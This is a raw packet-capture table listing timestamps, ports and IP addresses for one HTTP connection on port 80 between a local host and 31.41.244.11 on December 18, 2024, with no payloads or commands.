Dec 18, 2024 19:08:13.302834988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.302874088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.303848028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.303904057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.303988934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.304032087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.304665089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.304703951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.304769993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.304807901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.305677891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.305721998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.305790901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.305829048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.306607008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.306648970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.306689978 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.306727886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.461575031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.461620092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.461647987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.461700916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.462064981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.462111950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.462148905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.462196112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.462915897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.462965012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.463042974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.463089943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.463872910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.463923931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.464015007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.464061975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.464956045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.465003967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.465087891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.465133905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.465770960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.465826035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.465868950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.465914965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.466762066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.466805935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.466849089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.466897011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.467725039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.467772007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.467818975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.467866898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.468647957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.468698978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.468760967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.468811035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.469620943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.469670057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.469760895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.469806910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.470638990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.470686913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.470791101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.470841885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.471600056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.471649885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.471688032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.471734047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.472515106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.472562075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.472687960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.472732067 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.473468065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.473511934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.473599911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.473640919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.474419117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.474467039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.474539995 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.474594116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.475433111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.475495100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.475734949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.475802898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.476310015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.476383924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.476455927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.476504087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.477351904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.477401972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.477421999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.477468014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.478271008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.478317976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.478368998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.478414059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.479221106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.479274035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.479347944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.479399920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.480158091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.480220079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.480292082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.480343103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.481173038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.481226921 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.481239080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.481287956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.482074976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.482131958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.482194901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.482244015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.483062983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.483123064 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.483196974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.483247995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.483993053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.484041929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.484222889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.484285116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.485021114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.485076904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.485099077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.485147953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.485904932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.485956907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.486017942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.486058950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.486900091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.486968040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.487082005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.487159014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.487838030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.487880945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.487925053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.487972975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.488852024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.488894939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.488956928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.488997936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.489736080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.489787102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.489850044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.489891052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.490694046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.490734100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.490813017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.490859985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.491698980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.491743088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.491867065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.491909027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.492820024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.492872000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.492985010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.493027925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.493592024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.493638992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.493674994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.493716955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.495719910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.495742083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.495759010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.495776892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.495784998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.495803118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.495855093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.497529030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.497554064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.497570038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.497586012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.497587919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.497608900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.497651100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.498435974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.498485088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.498550892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.498594046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.499413013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.499458075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.499483109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.499527931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.500376940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.500432968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.500580072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.500627995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.501281977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.501336098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.501364946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.501411915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.502290964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.502338886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.502439022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.502481937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.503192902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.503236055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.503264904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.503305912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.504154921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.504205942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.504235029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.504283905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.505129099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.505178928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.505242109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.505281925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.506072044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.506123066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.506192923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.506246090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.507024050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.507070065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.507133007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.507181883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.508074045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.508121967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.508184910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.508234978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.508955002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.509001970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.509032011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.509079933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.510006905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.510065079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.510093927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.510138988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.510946035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.511003017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.511029959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.511065960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.511780024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.511826038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.653508902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.653625011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.653626919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.653722048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.653954029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.654006004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.654102087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.654153109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.654920101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.654968977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.655065060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.655117035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.655806065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.655854940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.655942917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.655991077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.656816006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.656864882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.656918049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.656964064 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.657742977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.657792091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.657846928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.657893896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.658694029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.658801079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.658817053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.658864021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.659672976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.659723043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.659734011 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.659781933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.660725117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.660774946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.660780907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.660830975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.661638975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.661688089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.661776066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.661823988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.662524939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.662578106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.662671089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.662754059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.663631916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.663677931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.663712025 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.663755894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.664489031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.664537907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.664608955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.664655924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.665452957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.665501118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.665580988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.665632010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.666409016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.666461945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.666467905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.666505098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.667371988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.667418957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.667526007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.667574883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.668329000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.668375969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.668421030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.668467999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.669290066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.669341087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.669481039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.669528961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.670248032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.670301914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.670380116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.670428038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.671178102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.671226978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.671319008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.671370983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.672207117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.672230959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.672255039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.672280073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.673084021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.673132896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.673485994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.673535109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.674072027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.674154043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.674149036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.674201012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.675358057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.675414085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.675419092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.675466061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.675968885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.676016092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.676050901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.676099062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.676995039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.677045107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.677051067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.677097082 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.678061008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.678076982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.678107977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.678124905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.678941965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.679002047 CET	49720	80	192.168.2.5	31.41.244.11
